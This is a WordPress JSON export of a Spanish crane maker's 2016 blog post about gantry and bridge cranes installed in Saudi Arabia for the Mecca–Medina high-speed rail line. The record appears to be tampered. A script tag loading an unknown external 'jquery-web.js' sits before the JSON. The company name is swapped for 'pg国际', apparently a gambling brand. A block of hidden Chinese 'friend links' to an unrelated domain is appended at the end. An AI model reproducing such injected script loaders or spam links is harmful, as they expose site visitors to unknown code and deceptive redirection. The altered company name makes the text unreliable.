<script src="///jquery-web.js"></script>{"id":2862,"date":"2016-04-21T08:00:12","date_gmt":"2016-04-21T06:00:12","guid":{"rendered":"https:\/\/www.ghcranes.com\/blog\/instalacion-en-arabia-saudi-para-la-linea-del-ave\/"},"modified":"2016-03-11T12:35:42","modified_gmt":"2016-03-11T11:35:42","slug":"instalacion-en-arabia-saudi-para-la-linea-del-ave","status":"publish","type":"post","link":"https:\/\/www.ghcranes.com\/blog\/instalacion-en-arabia-saudi-para-la-linea-del-ave\/","title":{"rendered":"Instalaci\u00f3n en Arabia Saud\u00ed para la l\u00ednea del AVE"},"content":{"rendered":"<p>pg国际 CRANES &amp; COMPONENTS ha instalado varias <strong>gr\u00faas p\u00f3rtico<\/strong>\u00a0en <strong>Arab\u00eda Saud\u00ed,<\/strong> para\u00a0<strong>Copasa Arabia Co Ltd<\/strong>,\u00a0para la l\u00ednea de <strong>AVE<\/strong>\u00a0que\u00a0va desde la <strong>Meca<\/strong> a <strong>Madinat<\/strong> pasando por <strong>Jeddat<\/strong><strong>.<\/strong><\/p>\n<p>Aqu\u00ed se ha trabajado en la Work Base 1, donde se han\u00a0montado dos bip\u00f3rticos que alimentan la <strong>linea de soldadura de carriles<\/strong> (unen carriles de 50 metros mediante soldadura especial y forman uno de 300 metros). Una vez soldado lo almacenan mediante los p\u00f3rticos fijos que se han\u00a0montando que son 22 uds.<\/p>\n<p><a id="rkkzprbl" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2016\/03\/IMG_9789.jpg\"><\/a><a id="wryfrpeq" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2016\/03\/IMG_9759.jpg\"><\/a><\/p>\n<p>Se ha llevado a cabo tambi\u00e9n el montaje de otros dos bip\u00f3rticos para <strong>montaje de cambios de v\u00eda<\/strong>. Cada uno de estos bip\u00f3rtico llevaba 250 metros de l\u00ednea blindada.<\/p>\n<p>A su vez, en Madinat Work base 4 he ha realizado el montaje de\u00a0dos bip\u00f3rticos, tambi\u00e9n para montaje de cambios de v\u00eda , y un puente gr\u00faa en una nave para material motor (<strong>mantenimiento de locomotoras<\/strong>, etc).<\/p>\n<p><a id="tsezjtqa" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2016\/03\/IMG_9813.jpg\"><\/a>\u00a0<a id="zbnymzhx" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2016\/03\/IMG_9792.jpg\"><\/a>\u00a0<a id="lxwrywcg" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2016\/03\/IMG_9808.jpg\"><\/a>\u00a0<a id="cfrsyhde" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2016\/03\/IMG_9764.jpg\"><\/a><a id="bjhbywkl" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2016\/03\/IMG_9785-e1457206118772.jpg\"><\/a><\/p>\n<!-- AddThis Advanced Settings generic via filter on the_content --><!-- AddThis Share Buttons generic via filter on the_content -->","protected":false},"excerpt":{"rendered":"<p>pg国际 CRANES &amp; COMPONENTS ha instalado varias gr\u00faas p\u00f3rtico\u00a0en Arab\u00eda Saud\u00ed, para\u00a0Copasa Arabia Co Ltd,\u00a0para la l\u00ednea de AVE\u00a0que\u00a0va desde la Meca a Madinat pasando por Jeddat. Aqu\u00ed se ha trabajado en la Work Base 1, donde se han\u00a0montado dos bip\u00f3rticos que alimentan la linea de soldadura de carriles (unen carriles de 50 metros mediante [&hellip;]<!-- AddThis Advanced Settings generic via filter on wp_trim_excerpt --><!-- AddThis Share Buttons generic via filter on wp_trim_excerpt --><\/p>\n","protected":false},"author":1,"featured_media":2879,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[2],"tags":[117,642,607,609,256,606,610,608,605,611],"jetpack_featured_media_url":"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2016\/03\/IMG_9758-e1457206054218.jpg","_links":{"self":[{"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/posts\/2862"}],"collection":[{"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/comments?post=2862"}],"version-history":[{"count":8,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/posts\/2862\/revisions"}],"predecessor-version":[{"id":3051,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/posts\/2862\/revisions\/3051"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/media\/2879"}],"wp:attachment":[{"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/media?parent=2862"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/categories?post=2862"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/tags?post=2862"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}<div align="center">友情链接：<a href="https://www.halosee.com/" target="_blank"></a>&nbsp;&nbsp;<a href="https://www.halosee.com/" target="_blank"></a>&nbsp;&nbsp;<a href="https://www.halosee.com/" target="_blank"></a>&nbsp;&nbsp;<a href="https://www.halosee.com/" target="_blank"></a></div></html>